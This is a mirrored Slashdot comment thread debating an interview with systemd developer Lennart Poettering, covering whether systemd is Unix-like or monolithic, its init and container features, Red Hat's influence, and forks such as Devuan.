Slashdot Mirror


Systemd's Lennart Poettering: 'We Do Listen To Users'

M-Saunders writes: Systemd is ambitious and controversial, taking over a large part of the GNU/Linux base system. But where did it come from? Even Red Hat wasn't keen on it at the start, but since then it has worked its way into almost every major distro. Linux Voice talks to Lennart Poettering, the lead developer of Systemd, about its origins, its future, its relationship with Upstart, and handling the pressures of online flamewars.

551 comments

  1. RMSDS by Anonymous Coward · · Score: 1

    Richard M Stallman Derangement Syndrome - the severe phobia and antipathy exhibited by some to anything related to RMS. Symptoms include the mistaken belief that RMS has never accomplished anything, a strange fascination with his personal hygiene, an irrational fear of the GPL, and a general hate for anything having to do with Free-as-in-Freedom libre software.

    1. Re: RMSDS by Anonymous Coward · · Score: 1, Funny

      Stallman is like a third party in the US. Good to get ideas from, but never follow follow them fully and by god, never actually put them in charge of anything important.

    2. Re: RMSDS by Anonymous Coward · · Score: 0

      Because we all know the two traditional parties do such a good job.

    3. Re: RMSDS by Anonymous Coward · · Score: 1

      Sounds just like the first two parties there as well, except for the "Good to get ideas from" part.

    4. Re: RMSDS by slashdice · · Score: 1

      There are plenty of Stallman parties. You know, people with one issue and one answer. "If we legalize meth, we can eliminate the deficit" (Legalize Meth Party). "If we lower the age of consent to 11, we can end the recession" (Lower the Age of Consent to 11 Party) "If we stick our thumb up our ass, we can bring peace to the middle east" (Thumb Up Our Ass Party). Democans and Republicrats start looking pretty good when those clowns are invited to the debates.

      --
      Copyright (c) 1990 - 2014 Dice. All rights reserved. Use of this comment is subject to certain Terms and Conditions.
    5. Re: RMSDS by Anonymous Coward · · Score: 1

      You and I both understand its a well known fact that if you have a thumb up your ass, the likelihood you'll commit acts of violence is reduced exactly 97.32%. That's why we can't sit on our laurels, or thumbs for that matter, and also why we cannot tolerate those TUOAP pansies. Passive aggressiveness is not going to win peace in the middle east.

      -President, TUYAP (Thumbs Up Your Ass Party)

    6. Re: RMSDS by TheRealLifeboy · · Score: 1

      Suddenly it dawned on me... The US is in the mess it's in because of the millions of AC's that can't see further that the length of their own noses.

    7. Re: RMSDS by TheRealLifeboy · · Score: 1

      Except they're very specifically not invited. Heaven forbid that the US ever has a true multipatry democracy! The duopoly will never allow it willingly.

  2. I agree with Lennart by Anonymous Coward · · Score: 2, Interesting

    There needed to be change. Change occurred. It's being worked out for the better. Lennart is right about being more UNIX like. I started out my IT life with actual UNIX and UNIX derivatives like BSD/OS, SunOS, FreeBSD. The engineering model for UNIX has always been better than the freakshow that is Linux. I was a Linux user for many years, both at work and at home. The fractured state of Linux development and how things are cobbled together has left me uneasy over the years, whereas FreeBSD leaves me with a feeling of security and trust that everything was done right. I wish Lennart well, but I've gone back to UNIX-like operating systems like FreeBSD because they are engineered vs "grown" like Linux.

    1. Re:I agree with Lennart by rastos1 · · Score: 4, Insightful

      I too have some experience with SCO UX, HP UX, OSF/1 - when something was broken there, then it was broken. You could not really go and replace a DNS server with something else. Or the vi editor. Or syslog deamon. If it wasn't there you could wait for next release and cough up the money or you were SOL. You also could not take a package for HP-UX and install it on a BSD. Or recompile. What makes linux great is that if you don't like the component X then you can google up a replacement pretty quickly. It may not be so polished and it may need some work to get it working (because the most popular choices get most exposure and thus polish), but it is possible.

      But we are now 1 or 2 decades later. We don't only run simple software on our machines. I fear the day when samba, JBoss, KDE, LibreOffice, GIMP, ... start to be dependent on systemd. When that happens it may or may not work for me. If it does, fine. If it does not then fixing the problem myself will be made complex exactly by difference of complexity between a shell script or alternative package installation and a C code. The may be low, but the potential loss is high.

    2. Re:I agree with Lennart by Anonymous Coward · · Score: 0

      KDE, LibreOffice, GIMP, ... start to be dependent on systemd

      Then many users of that software need systemd on Windows. It could depend on .net 2.0 and DirectDraw as it goes along starting and stopping things.

    3. Re:I agree with Lennart by fisted · · Score: 4, Insightful

      Lennart is right about being more UNIX like.

      Wait, what?
      *reads TFA*
      Hahahaha, oh well:

      Lennart Poettering: [...] most people who say Systemd is un-Unixish have no idea what Unix is actually like.

      What’s typical for Unix, for example, is that all the tools, the C library, the kernel, are all maintained in the same repository, right? And they’re released in sync, have the same coding style, the same build infrastructure, the same release cycles – everything’s the same. So you get the entire central part of the operating system like that. If people claim that, because we stick a lot of things into the Systemd repository, then it’s un-Unixish, then it’s absolutely the opposite. It’s more Unix-ish than Linux ever was!

      The Linux model is the one where you have everything split up, and have different maintainers, different coding styles, different release cycles, different maintenance statuses. Much of the Linux userspace used to be pretty badly maintained, if at all. You had completely different styles, the commands worked differently – in the most superficial level, some used -h for help, and others ––help. It’s not uniform.

      If we put a lot of the glue in one repository, it’s not all the way towards Unix, but it’s half way between traditional Linux and traditional Unix. We do not put libc and the kernel in the same repository, just the basic things. So that’s a misconception that I’m always bemused about, and I’m pretty sure that most people who claim that have never actually played around with Unix at all.

      Wow... Just.. wow.
      TL;DR his sole argument for systemd being "like traditional unix" is that they're maintaining it in one (as opposed to dozens of) source code repos.
      I think this is the dumbest reasoning i've ever heard. I also like how he calls systemd non-monolithic, of course, without giving any reason for why that is.

    4. Re:I agree with Lennart by Rob+Y. · · Score: 1

      Why would LibreOffice or GIMP ever be dependent on systemd? They have nothing to do with the startup or shutdown of the system - they are plain vanilla applications (same most likely goes for JBoss and KDE, though they may provide some 'system-like' services). Seriously, folks. It's just this kind of hyperbole from systemd haters that makes me think it must be good...

      --
      Posted from my Android phone. Oh, I can change this? There, that's better...
    5. Re:I agree with Lennart by Anonymous Coward · · Score: 0

      FreeBSD has the best of both worlds. Parts are can replaced and it's well engineered.

    6. Re:I agree with Lennart by Anonymous Coward · · Score: 0

      Care to explain why this is a dumb argument?

    7. Re:I agree with Lennart by Anonymous Coward · · Score: 0

      >There needed to be change

      Why? The only reasons I've heard for systemd that seem valid are that a system will boot faster and hibernation/sleep modes will work properly. Also, I've heard that plug and play might work better (although I don't have a problem with that as it is).

      For a properly managed server, boot time is insignificant since you not only have a redundant server, but you shouldn't need to reboot more than once per kernel upgrade. For obvious reasons, for a server, hibernation and sleep modes are pointless.

      I am certain it will be great for laptop users. But I have a problem with the idea that change was "needed", as if everyone needed the change. No, they didn't. Most people do not need the change. With change comes risk. With unnecessary change comes unnecessary risk.

      I posit that systemd is an unnecessary change unless you own a laptop or get pissed off your desktop boots too slow for you (My non-systemd desktop boots in 15 seconds, including the BIOS. I find that acceptable. I expect others feel similarly.)

      As for the benefits that systemd offers, it seems most are quite satisfied with what non-systemd offers. It doesn't bring to the table anything that will change my life, except for more work. Well, if I'm going to perform more work, I'll be putting that effort into discovering *BSD instead. Always been curious about it. Time to go for the full experience.

    8. Re:I agree with Lennart by ron_ivi · · Score: 1, Informative

      Why would LibreOffice

      You do realize OpenOffice does run in a server-mode.

      It's useful for doing thtings like batch-processing word documents.

      Same for Gimp: " This command will start a server, which reads and executes Script-Fu (Scheme) statements you send him via a specified port. ".

      ...ever be dependent on systemd?

      I don't understand why 90% of the crap systemd's trying to suck in (like networking). Yet the systemd guys continue to glom everything in there.

    9. Re:I agree with Lennart by Anonymous Coward · · Score: 0

      "I think this is the dumbest reasoning i've ever heard."

      This is par for the course for him.

      If he spent half as much time actually addressing the criticisms of his designs instead of constructing strawmen, he may actually have a workable design someday.

    10. Re:I agree with Lennart by Anonymous Coward · · Score: 0

      agreed we are slowly moving to BSD, linux has become filled with software-hipsters instead of engineers

    11. Re:I agree with Lennart by turbidostato · · Score: 2

      "The only reasons I've heard for systemd that seem valid are that a system will boot faster and hibernation/sleep modes will work properly"

      Add another one: init dependencies working properly.

      I.e.: a raid-ed root filesystem out of iSCSI volumes. These kind of scenarios are certainly not very well managed by standard sysv and require manual ad hoc tweaking.

    12. Re:I agree with Lennart by MSG · · Score: 2, Informative

      I also like how he calls systemd non-monolithic, of course, without giving any reason for why that is.

      And that seems to be one of the big differences between people who like systemd and people who don't.

      People who actually took the time to look at systemd more often like the design, and understand that the one project consists of many small tools.

      Then there's a community of people who rely entirely on hearsay. They don't like systemd, but almost all of the things they don't like about it aren't true. In this case, believing that PID 1 is a process that does daemon handling, and logging, and firewall rule handling, and DNS, and device node handling, and...

      Those things are not handled by the same process. It's non-monolithic. It's small tools doing individual, well defined jobs.

    13. Re:I agree with Lennart by drinkypoo · · Score: 1

      I too have some experience with SCO UX, HP UX, OSF/1 - when something was broken there, then it was broken. You could not really go and replace a DNS server with something else.

      Wait, you couldn't replace MMDF with sendmail, or run vanilla BIND on SCO? Sure you could, if you paid the outrageous sums for the compiler.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    14. Re:I agree with Lennart by bazmonkey · · Score: 1

      Not to mention being able to outright ignore init dependencies. Socket activation has the potential to allow developers to not care about dependencies at startup. It also provides a way to move past distro-specific init scripts.

    15. Re:I agree with Lennart by fahrbot-bot · · Score: 1

      So, Lennart is confusing the traditional Unix vs. Linux development/release models (together vs. separately) with the Unix *and* Linux programming/operational models (small independent programs, mostly doing one thing right, working together). It seem that it is Lennart doesn't really know what Unix *or* Linux is really like. Just another youngster who doesn't know, understand, or care about the history of the field in which he works and thinks he knows everything best - sigh.

      --
      It must have been something you assimilated. . . .
    16. Re:I agree with Lennart by Anonymous Coward · · Score: 0

      If LibreOffice or GIMP ever touches 'freedesktop', it will end up relying on systemd for some obscure, and ultimately, stupid reason. You read it here first.

    17. Re:I agree with Lennart by Anonymous Coward · · Score: 0

      "There needed to be change."?
      Why? There has been no compelling reason as to why change was needed worded yet. How come? Change would be needed if the existing system was broken, it is not. It works GREAT! So change is clearly NOT "needed".

    18. Re:I agree with Lennart by phantomfive · · Score: 1
      He talks about it more here. I will quote him without giving any of my own commentary:

      The design of systemd as a suite of integrated tools that each have their individual purposes but when used together are more than just the sum of the parts, that's pretty much at the core of UNIX philosophy.

      --
      "First they came for the slanderers and i said nothing."
    19. Re:I agree with Lennart by sjames · · Score: 2

      Nonsense. I did look at it and concluded it's a hairball of interdependent bits that cannot stand alone. As for the 'simplicity', anyone who claims it is more maintainable than a handfull or 2 of init scripts needs to actually look under the hood (where you have to look for anything but the simple cases). It's a nightmare of interlocking configuration files. I thought the "come from" (as opposed to GOTO) statement was a joke until I saw the functionality actually implemented in systemd (with all of the un-maintainability that implies).

      PID 1 doesn't do all of that itself, but all of that includes PID 1 in the inseparable hairball.

    20. Re:I agree with Lennart by phantomfive · · Score: 2

      And that seems to be one of the big differences between people who like systemd and people who don't. People who actually took the time to look at systemd more often like the design, and understand that the one project consists of many small tools.

      If you are actually looking for counterpoints to that idea, this guy both understands that, and disagrees suggesting that although systemd is modular, it is still monolithic.

      --
      "First they came for the slanderers and i said nothing."
    21. Re:I agree with Lennart by the_B0fh · · Score: 1

      Any documentation on that "come from"? I've been googling a little and can't find anything on it.

      systemd "come from" configuration

      and similar doesn't give me anything.

      Thanks.

    22. Re:I agree with Lennart by sjames · · Score: 1

      Any config anywhere in the whole mush can declare itself to be a pre-requisite for some other script.

    23. Re:I agree with Lennart by Anonymous Coward · · Score: 0

      The problem with systemd is the huge amounts of dependencies which are pulled with it on most distributions which includes a lot stuff which I wouldn't want to run on a server. (Like dbus and avahi)

    24. Re:I agree with Lennart by Anonymous Coward · · Score: 0

      Those things are not handled by the same process. It's non-monolithic. It's small tools doing individual, well defined jobs.

      Wow! look at this!

      $ ps aux | grep '[0-9] \[k' | wc -l
      64

      So I guess the linux kernel is non-monolithic too, then?

    25. Re:I agree with Lennart by dnavid · · Score: 2

      Why would LibreOffice or GIMP ever be dependent on systemd? They have nothing to do with the startup or shutdown of the system - they are plain vanilla applications (same most likely goes for JBoss and KDE, though they may provide some 'system-like' services). Seriously, folks. It's just this kind of hyperbole from systemd haters that makes me think it must be good...

      The root of the worry comes from the fact that the history of systemd's development is not "lets address this one thing" but rather "wouldn't it be great if?" Systemd doesn't adapt to or reuse other things as often as a lot of people are comfortable with: they displace syslog with journald because its better for them, because they now have control over logging rather than have to work with anyone else to get the features they want. The issues with Gnome are due to systemd saying "wouldn't it be great if" they could extend boot startup services to session start up services, which then gets you to login and window managers and so on. And while they assert - correctly - that *technically* speaking these things aren't dependent on systemd, its clear they are trying to displace the other things because they think they can do them better.

      And maybe they can. The most pernicious thing about systemd is that in many respects, what they displace they improve on (at least to an extent): that's what makes it possible at all for them to expand the system. But its still unnerving to many. The answer to the question "why would LibreOffice ever be dependent on systemd" is "if systemd developers decide that they can offer a service to LibreOffice that would be beneficial, there doesn't seem to be anything in their dna that says maybe we should stay in our lane." Maybe one day systemd will want to act as a gateway to special network file services, or whatever. I can't imagine what that could be, but then again I never imagined that an init replacement would be replacing system logging and hooking into session startup. That's the problem: they've already defied expectations on how much reach systemd is intended to have.

      Honestly, the gist I get from the interview itself is "if we think we can do it better, why not go for it." That's an understandable point of view, but its also very provocative to many in the open source community.

    26. Re:I agree with Lennart by CaptnZilog · · Score: 1

      Just like Lennart listens to users, I listened to Lennart...
      and then backed up anything important, wiped Linux off my box, and installed FreeBSD.

      Listening doesn't guarantee anything - I listen to people all the time, and then ignore them.

    27. Re:I agree with Lennart by grcumb · · Score: 2

      He talks about it more here. I will quote him without giving any of my own commentary:

      The design of systemd as a suite of integrated tools that each have their individual purposes but when used together are more than just the sum of the parts, that's pretty much at the core of UNIX philosophy.

      I would say that he misunderstands the essence, the substance and possibly even the purpose of the UNIX philosophy... but I think he actually does understand. I think he's simply being disingenuous, twisting the definition to meet his desires. It's clear that this is a man who believes that he knows what's good and what's not.

      This blog post from last September lays out in perfect clarity how dismissive he is of contrary points of view:

      The toolbox approach of classic Linux distributions is fantastic for people who want to put together their individual system, nicely adjusted to exactly what they need. However, this is not really how many of today's Linux systems are built, installed or updated. If you build any kind of embedded device, a server system, or even user systems, you frequently do your work based on complete system images, that are linearly versioned. You build these images somewhere, and then you replicate them atomically to a larger number of systems. On these systems, you don't install or remove packages, you get a defined set of files, and besides installing or updating the system there are no ways how to change the set of tools you get.

      [Emphasis mine]

      So the toolkit approach is not useful for someone who's deploying large numbers of commodity servers? This defies logic. It implies that somehow it's better to use commodity servers built using Lennart's toolkit than to have the capability to define one's own toolkit to build your own purpose-built standard image.

      He's ignoring logic here in order to serve his own agenda, which of course consists of being smarter and sleeker and better than some crufty old Linux with 20 years of barnacles on its hull.

      Init on Linux emphatically is ugly, but it's the product of a very large number of people coping with a very large set of circumstances, and finding a solution that is decidedly imperfect, but can be made to address most of the hundreds of thousands of peculiar and unique use cases in the world today.

      Quoth Poettering:

      The Linux model is the one where you have everything split up, and have different maintainers, different coding styles, different release cycles, different maintenance statuses. Much of the Linux userspace used to be pretty badly maintained, if at all. You had completely different styles, the commands worked differently – in the most superficial level, some used -h for help, and others ––help. It’s not uniform.

      This really is the essence of it. When you get right down to it, he's just pissed at having to deal with other people's half-assed implementations of everything, and having to make all the bits work to a purpose. It's just too... democratic. I suspect he feels the same way George W. Bush did when he famously quipped that if he really were a dictator, he'd get a lot more done.

      And that's really the essence of the problem. No matter how good systemd turns out to be, it's effectively less than a dozen core committers (the top 10 committers have submitted over 90% of the code) dictating how your modular system is going to run. They want a single group (themselves) and a single philosophy (theirs) to occupy pretty much the entire space between the kernel and userland. And that is not the Linux way of doing things.

      --
      Crumb's Corollary: Never bring a knife to a bun fight.
    28. Re:I agree with Lennart by Anonymous Coward · · Score: 0

      Do you people even listen to yourselves? Like petulant children.

      Whah! I don't like Lennart. I'm gonna take my ball and go homem!

    29. Re:I agree with Lennart by Anonymous Coward · · Score: 0

      " It's a nightmare of interlocking configuration files."

      Wait. SysV init or systemd? Or do you not count mountains of system-dependent and application-specific bash scripts to be a "nightmare of interlocking configuration files?"

    30. Re:I agree with Lennart by sjames · · Score: 1

      Some distros have chosen to over-complicate things, but they're not really interlocking. If you want to see what's going on, there aren't a lot of places you have to look.

      I'm guessing you have never looked at the OTHER configuration files for systemd. The ones in /lib, for example.

      I have looked at the sysV scripts and I have looked at the systemd configs. There were more config files scattered all over the place and not even a hint which runs when. Some of them are templates that systemd uses to creat temporary conffig files at boot time!

      systemd configs are an order of magnitude more complex than a typical sysVinit AND that doesn't even count the source code of systemd itself.

    31. Re:I agree with Lennart by MSG · · Score: 1

      Some of them are templates that systemd uses to creat temporary conffig files at boot time!

      I'm familiar with those. They're much better than what we used to have. In the old system, there was either a mountain of repeated code with minor differences, or there were templates that were modified with sed to create individual configuration files.

      Maintaining the templates is far easier.

    32. Re:I agree with Lennart by MSG · · Score: 1

      Are you upset that I said not the same process instead of not the same binary?

      Those things are handled by separate programs, entirely. Systemd is small tools, doing individual, well defined jobs.

      Are you happier now?

    33. Re:I agree with Lennart by sjames · · Score: 1

      Unless you want to see the actual flow of the boot process, that is. In a proper programming language, you would write a function and call it with each set of parameters.

    34. Re: I agree with Lennart by Anonymous Coward · · Score: 0

      It's like kids not appreciating good rock music... the have no regard fir the experience of their forefathers and are distracted by shiny things.

      I'm with you. Systemd doubles my work. I knew a custom init would run on any platform I work on. Now I have to solution twice so some kids linux laptop boots a full 10s faster. Lennart lacks perspective and obviously wit in his comments on the matter he created.

    35. Re:I agree with Lennart by geoskd · · Score: 1

      Why would LibreOffice or GIMP ever be dependent on systemd? They have nothing to do with the startup or shutdown of the system - they are plain vanilla applications (same most likely goes for JBoss and KDE, though they may provide some 'system-like' services). Seriously, folks. It's just this kind of hyperbole from systemd haters that makes me think it must be good...

      I wondered the same thing, and both Gimp and LibreOffice work just fine without Systemd. They both make use of Systemd features if its available, but they do not require it.

      --
      I wish I had a good sig, but all the good ones are copyrighted
    36. Re:I agree with Lennart by Peter+H.S. · · Score: 1

      I don't understand why 90% of the crap systemd's trying to suck in (like networking). Yet the systemd guys continue to glom everything in there.

      If you don't understand it, it is probably because you don't use OS containers. Almost all new features and development on systemd the last couple of years have been OS container related; the sNTP client, networking, dhcp etc., are all meant for massive scale OS container deployment, and for the special need for OS container regarding keeping time (their environment can start-stop/freeze without notice, so time drift between host and container is a problem).

      Google launches 2 billion OS containers a week, that is 3300 OS containers every second. The speed of "booting" a single OS container is therefore crucial for such massive deployments.

      In fact, OS containers are rapidly becoming a central part of all new Linux deployment, and systemd is a central part of that.

    37. Re:I agree with Lennart by ron_ivi · · Score: 0
      None of that speaks to why systemd needs to suck in everything under the sun that has a server mode (like the gimp and open office examples above).

      And just because something's launched often doesn't mean it has to be sucked into systemd. Angry Birds is launched on Linux more often than most stuff the systemd guys play with -- but that doesn't mean all games need insane dependancies on an init system.

      Your container example seems to be taking the wrong approach too.

      Lightweight containers like Docker seem to suggest it's best to run a single service within a container --- so the last thing such a system needs an init system -- let alone the most bloated init system in the world. A it turns out, it's quite a pain in the neck to run systemd in a docker container.

    38. Re: I agree with Lennart by Anonymous Coward · · Score: 0

      I hope you realize that is the whole foundation of computers. that is why there are forks. don't like something, fork it->uselessd

      you sound like an idiot who knows nothing about computers and uses whatever their bosses or mom tells them to use. get your own brain and use it. stop relying on other people and make your own decisions.

    39. Re:I agree with Lennart by Peter+H.S. · · Score: 2

      None of that speaks to why systemd needs to suck in everything under the sun that has a server mode (like the gimp and open office examples above).

      It doesn't.
      That a particular distro/package maintainer utilizes their distro's init-system and service manager for launching a daemon is hardly a problem or even controversial.

      And just because something's launched often doesn't mean it has to be sucked into systemd. Angry Birds is launched on Linux more often than most stuff the systemd guys play with -- but that doesn't mean all games need insane dependancies on an init system.

      It seems to me that have some problems with understanding what an init-system does. SysVinit/systemd/SMF deals with starting daemons and similar processes, not end user programs like games. Of course, if a game has a server mode what uses sockets and what not, then it probably is convenient to use a proper init-system.

      Your container example seems to be taking the wrong approach too.

      Lightweight containers like Docker seem to suggest it's best to run a single service within a container --- so the last thing such a system needs an init system -- let alone the most bloated init system in the world. A it turns out, it's quite a pain in the neck to run systemd in a docker container.

      There are many different OS container modes, from running single services, to full blown servers. Each mode has it advantages and disadvantages. That flexibility is exactly what makes OS containers interesting.

      Unlike other OS container implementations, systemd also support running unmodified Linux distros as containers. That means that I can boot a standard Debian distro on top of my Fedora distro, or running a newer unstable version of my distro on top. It takes seconds or minutes (depending on net speed) to launch such a container. A great way to test and debug new stuff without bothering with a full VM.
      The "machine concept" that allows maintaining OS containers from the "outside" is also way cool.

      All in all, systemd is on its way to become the best OS container manager the world have ever seen, and that is great news for Linux.

    40. Re:I agree with Lennart by BobbyWang · · Score: 1

      Could it be so simple that Poettering simply get a kick from pissing people off. From the way he argues it defenitely seems like it. He mentions that people don't find systemd "unix-like" and instead of addressing the actual critique he makes up his own definition of "unix-like" which he surely knows is different from what anybody else means. Same as for coming up with his own definition of the word modular.

      Can he really believe this political rhetoric is fooling anyone? Anyone who cares about an init system, that is. I find it more likely he is actively trying to piss people off. Because if he let the code speak for itself and was honest about it, it's really not that bad.

      Linux was has been faced with the same critique for not being modular. It has lead to honest and interesting discussions about microkernel vs monolithic design. Torvalds would never enter such discussions saying Linux actually has the most pure microkernel design of any OS and end the discussion by pulling a new definition of every established term out his ass.

      Instead of criticizing Torvalds for being bad at handling people Poettering could learn a few things. If he simply admitted that systemd is a big monolithic beast, just like the Linux kernel, the matter could at least be discussed (at a technical level). If that had been what he wanted...

    41. Re:I agree with Lennart by Anonymous Coward · · Score: 0

      systemd also support running unmodified Linux distros as containers

      ROTFL. I really can't tell if you're trolling or not.

      Systemd's feature creep already sounded absurd before.

      But to suck in a VMWare/OpenStack/Xen clone as well!

      Wow. Just wow.

  3. Fork it all by Anonymous Coward · · Score: 5, Insightful

    I don't care bout the unix way, I don't care about if it's monolithic or not, I don't even care about how annoyed I am by the mere mention of his name.

    I care about the fact that they seem to want to force their way into everything and everyone's business and ridicule anyone who tries to maintain a choice between systemd and other systems. (i.e Gentoo)

    I'm a user and a hobby developer. No, I don't maintain 2000 servers, I don't need 2 second boot time, I don't need to hotswap drives. But I do need choices. I need to be able to decide what I want to use so I can get on with my fucking day and do what I want.

    "But systemd is the best, why don't you want to use it?"
    But Emacs!
    But firefox!
    But chrome!
    But but but but!

    1. Re:Fork it all by igloo-x · · Score: 0, Flamebait

      If all the various distribution maintainers and developers have pretty much all agreed that systemd is the way forward -- which they pretty much all have -- why should they go out of their way to make sure you personally feel you have the correct amount of choice?

    2. Re:Fork it all by Anonymous Coward · · Score: 1

      Because somewhere back down this little road between windows and Linux I got the idea that Linux is about choice and freedom.
      Crazy concept, I know.

      Now I'm curious what your opinion is on the non-debian systemd fork.

    3. Re:Fork it all by geoskd · · Score: 1, Troll

      Because somewhere back down this little road between windows and Linux I got the idea that Linux is about choice and freedom. Crazy concept, I know.

      Linux is all about choice. You're just confused about the choice to be made. Linux was never about the choice in what software others make for you. It is instead about the choice to make the software for yourself.

      In other words, if you dont like it, you're free to rewrite any part of the software you want. You have the freedom to replace any part of the system with anything you like, but there is no good reason in the world anyone else should have to put the system together for you the way you want.

      --
      I wish I had a good sig, but all the good ones are copyrighted
    4. Re:Fork it all by Anonymous Coward · · Score: 1

      "If all the business leaders have agreed..."

      "If all the politicians have agreed..."

      It's very easy for monolithic cultures to develop at the top, ignoring their userbase/customers/citizens.

    5. Re:Fork it all by Anonymous Coward · · Score: 0

      So why aren't we all pushing our own distros or using Linux from Scratch?

      Oh that's right, it takes years to get to a point where you can actually rewrite anything without having a steaming pile of shit. And after that you have to run a mailing list, add features, make sure the ship is tight and not full of security holes.

      Oh and guess what, no one wants to contribute because A: this is your first project of this size, B: What you're writing already exists and works and C: Everyone thinks you're crazy for reinventing the wheel once again.

      This isn't the 80's or 90's and I'm not Torvalds. The software is all there but the geniuses won't let me use it because they have a different vision for the future and I'm just a whiny user.

    6. Re:Fork it all by RabidReindeer · · Score: 2, Insightful

      In other words, if you dont like it, you're free to rewrite any part of the software you want.

      But what has the rabble up in arms with systemd is that that particular "freedom" means basically having to rewrite the entire operating system.

      That's not what we had in mind.

    7. Re:Fork it all by Assmasher · · Score: 1

      +1

      --
      Loading...
    8. Re:Fork it all by tnk1 · · Score: 4, Insightful

      If someone wants a distro without systemd bad enough, someone will fork and then develop one. That is what Linux and the GNU stuff make possible.

      It remains to be seen if anyone truly cares enough to bother.

      Personally, I've been able to avoid systemd so far, since we keep our version of OS software off the edge, so I really don't know how good or bad it is yet. However, I intend to evaluate it against our requirements and whether it attains its own goals. If it does, then I'll deal with it. If it doesn't, I'll start looking for a new distro without it or hold back our OS until there is one.

      Chances are likely that we'll end up adopting it, and it will be initially annoying, but ultimately, not really all that big a deal.

    9. Re:Fork it all by Assmasher · · Score: 3, Insightful

      Your 'logic' implies that any distribution that uses systemd has rewritten the entire operating system.

      Do you still think that's true? LOL.

      --
      Loading...
    10. Re:Fork it all by geoskd · · Score: 2

      But what has the rabble up in arms with systemd is that that particular "freedom" means basically having to rewrite the entire operating system.

      No it doesn't, grab any distribution you like and fork it. Just don't get mad when others refuse to do maintenance work on your fork. If your solution is good enough, you will get enough people interested in helping you to maintain it. The fact that the greater majority of people who actually write the code are switching to Systemd should be a sign that it is technically superior.

      If five years from now, as you suggest, Systemd is an integral part of every mainstream distribution, and you wont use any mainstream distribution because of that, then I would suggest the common point of failure is obvious...

      --
      I wish I had a good sig, but all the good ones are copyrighted
    11. Re:Fork it all by igloo-x · · Score: 1

      Isn't it funny how people only really have problems with monolithic cultures when they don't like the monolith?

      It seems we're all happy enough with a monolithic kernel, but if someone dares to set up another one *directly below it*, there's fucking murder.

      If this particular monolith is as bad as everyone is saying, there should be plenty of alternatives already.

    12. Re:Fork it all by DG · · Score: 0

      I'm planning to move to systemd as soon as possible. Off Ubuntu and back to Fedora for me.

      Why? Because it is clearly the right way ahead, and I'd rather learn its nuances sooner than later.

      And it *has* to be better than the steaming pile of shit that Ubuntu has become.

      --
      Want to learn about race cars? Read my Book
    13. Re:Fork it all by khallow · · Score: 4, Interesting

      Isn't it funny how people only really have problems with monolithic cultures when they don't like the monolith?

      Sounds like a pretty mundane truism. I think rather the problem is that monolithic projects don't match a diverse user base well. You will have a lot of discontent because the monolithic project doesn't do everything people want it to do well.

      Here, I think there's some mendacity as well on the part of Red Hat. Systemd absorbed several RedHat-run open source projects that should be stand alone (D-Bus and udev, for example) and not require a dependency on systemd. That's classic Microsoft-style "embrace and extend" behavior.

    14. Re:Fork it all by Anonymous Coward · · Score: 0

      SystemD reminds me of the whole Metro interface fiasco. We're the DEVS! We know what's best for you! You will take it and like it! .... Where are all the users going?

    15. Re:Fork it all by RabidReindeer · · Score: 1

      Doesn't have to rewrite the entire OS.

      Just enough to be cost-prohibitive.

    16. Re:Fork it all by drinkypoo · · Score: 1

      And it *has* to be better than the steaming pile of shit that Ubuntu has become.

      history tell us that it won't

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    17. Re:Fork it all by Anonymous Coward · · Score: 0

      Linux is not about choice.
      http://www.islinuxaboutchoice....

    18. Re:Fork it all by walterbyrd · · Score: 2, Insightful

      Because other distributions have been pressured into accepting systemd.

      Red Hat is the 800 pound Gorilla in Linux. Red Hat forces systemd acceptance the exact same way that Microsoft forces OOXML acceptance, or DRM acceptance. And then justifies their actions with the same propaganda "because users demanded it."

    19. Re:Fork it all by walterbyrd · · Score: 1

      > It remains to be seen if anyone truly cares enough to bother.

      You mean like Devuan?
      https://devuan.org/

      It will be interesting to see if Devuan gets any traction.

      It is entirely wrong to assume that acceptance of something means that it's better, or that users like it. Microsoft pushes stuff that users hate all the time: ribbon, metro interface, DRM, WGA, OOXML. Microsoft can get away with this because Microsoft is the dominate player. The exact same is true of Red Hat. Debian did not accept systemd because Debian loved systemd, Debian accepted systemd because Debian felt that it was inevitable.

      This is also why there are not a lot of popular forks. People figure forking is a waste of time because Red Hat has all the power.

    20. Re:Fork it all by MightyMartian · · Score: 1

      I honestly don't comprehend this. The "Unix philosophy" was always about the toolset, and never, so far as I was aware, applied in such a way to the kernel. Why should it? There are a number of different *nix kernels; from RTOS-types to limited hypervisors to monolithic kernels to microkernels (and hybrids of the two), to compatibility layers running on top of completely alien kernels like POSIX on top VMS and CYGWIN on Windows.

      Or, to put it simply, that particular defense of systemd is fucking retarded.

      --
      The world's burning. Moped Jesus spotted on I50. Details at 11.
    21. Re:Fork it all by fahrbot-bot · · Score: 1

      If five years from now, as you suggest, Systemd is an integral part of every mainstream distribution, and you wont use any mainstream distribution because of that, then I would suggest the common point of failure is obvious...

      ... and/or attack.

      --
      It must have been something you assimilated. . . .
    22. Re:Fork it all by Anonymous Coward · · Score: 0

      Why do you think Gentoo has any right to demand what other projects may or may not depend on? Why do you think you have?

      No. You just can't dismiss this as being *forced* on to anyone. It hasn't been. You try to defend your right to *force* projects to do what you prefer.

    23. Re: Fork it all by Anonymous Coward · · Score: 0

      Are you seriously suggesting that we should just use Debian 7 forever, even when security and critical bug fixes are no longer being made available, just so we can avoid systemd?

      That's idiotic!

      Debian should support systemd, but not by default, and only if the user can explicitly installs systemd. Otherwise, systemd should never be present on any Debian system.

    24. Re:Fork it all by igloo-x · · Score: 0

      What's your point? Are you claiming that it's okay for kernels to be monolithic, but nothing else?

    25. Re:Fork it all by rastos1 · · Score: 1

      If someone wants a distro without systemd bad enough, someone will fork and then develop one.

      Let's try s/distro/samba/ :

      If someone wants samba without systemd bad enough, someone will fork and then develop one.

      Do you really think the a fork of samba can be created and maintained? Do you think that it is a problem to come up with other products that cannot be easily forked?

    26. Re:Fork it all by DdJ · · Score: 1

      You mean like Devuan?
      https://devuan.org/

      I'm currently trying to decide between that, Debian/kFreeBSD, and stock Debian with systemd purged and locked/held (so that I can't accidentally install something that requires it).

      Why Debian/kFreeBSD? Because systemd is not portable and won't run on the FreeBSD kernel, so Debian/kFreeBSD literally cannot make the switch. I do not care very much about the kernel or about Linux-specific features, so I don't really see much of a downside to it.

      (For me one of the core tenets of the Unix philosophy has always been portability. I do not want everyone running on the same kernel, or the same CPU architecture, or the same byte order, or the same word size, or anything. Code should be portable across all of that. Write pure ANSI C if you can, and add POSIX if you must, and if that won't do the trick, then compromise but feel ashamed of it.)

